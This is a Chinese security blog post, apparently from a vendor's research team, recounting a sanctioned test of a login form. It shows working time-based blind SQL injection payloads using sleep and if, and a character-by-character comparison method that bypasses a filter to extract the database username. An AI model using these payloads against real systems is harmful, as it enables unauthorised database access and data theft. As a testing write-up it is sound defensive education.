安全技术 | 一次众测实战sql注入绕过

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。本文由锦行科技的安全研究团队提供，旨在帮助客户理解sql注入绕过的问题。

在一次测试过程中，发现登陆框的用户名处存在延时注入。

开启bp抓包，随便输入用户名和密码，点击登陆，抓到以下数据包

经测试，Uname参数存在sql延时注入

在后面加上

'and(select*from(select+sleep(5))a)and'a'='

发现延迟10秒

在后面加上

'and(select*from(select+sleep(3))a)and'a'='

发现延迟6秒

根据上面图可知,sleep(5)时，回显时间为10秒；sleep(3)时，回显时间为6秒，明显存在sql注入，猜测数据库做了两次查询或者查到了两条相同的数据。

再确定存在注入点之后，之后使用sqlmap来跑数据，发现没办法顺利注入，可能存在拦截或者过滤。所以只能靠手工去测试发现问题。

看到这些关键函数都没拦截了，通过if截断的方法来测试是没戏了，那就试下通过dnslog外带的方式把数据给带出去。

最后经过各种测试，发现通过逐字母比较ascii码的方法能绕过上面所述的代码层的拦截，所以要用如下这种方法绕过。

具体注入payload如下：

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'='

用如上payload的意思是比较用户名的第一位的ascii码是不是大于或者等于d的ascii码

Ascii码表如下：

在数据库中测试：

依次从左到右比较ascii码，比如拿select ‘rooT’>’ro’来说，因为它们两的前两位相等，会比较到第三位，rooT的第三位为o,而ro的第三位是空，所以rooT当然大于ro。

根据上面情况，我们判断用户名第一位字母的时候，可以分为如下3步

步骤一：

payload:

'and(select*from(select+sleep(if(user()>'c',3,0)))a)and'a'=' ,

延迟为6秒，说明为true，用户名的第一位字母的ascii码对应大于或等于c字母的ascii码，即大于或等于99

步骤二:

当payload为

'and(select*from(select+sleep(if(user()>'d',3,0)))a)and'a'=' ,

延迟为6秒，说明也为true，用户名的第一位字母的ascii码对应大于或等于d字母的ascii码，即大于或等于100

步骤三：

当payload为'and(select*from(select+sleep(if(user()>'e',3,0)))a)and'a'=' ,

延迟为0秒，说明为false，用户名的第一位字母的ascii码对应小于e字母的ascii码，即小于101

最后根据结果分析：

根据步骤二，用户名第一位字母的ascii码大于或者等于100；

根据步骤三,用户名的第一位字母的ascii码小于101，

最后得出用户名第一位字母的ascii码为100，即字母d.

依次类推，最后得出用户名为dctok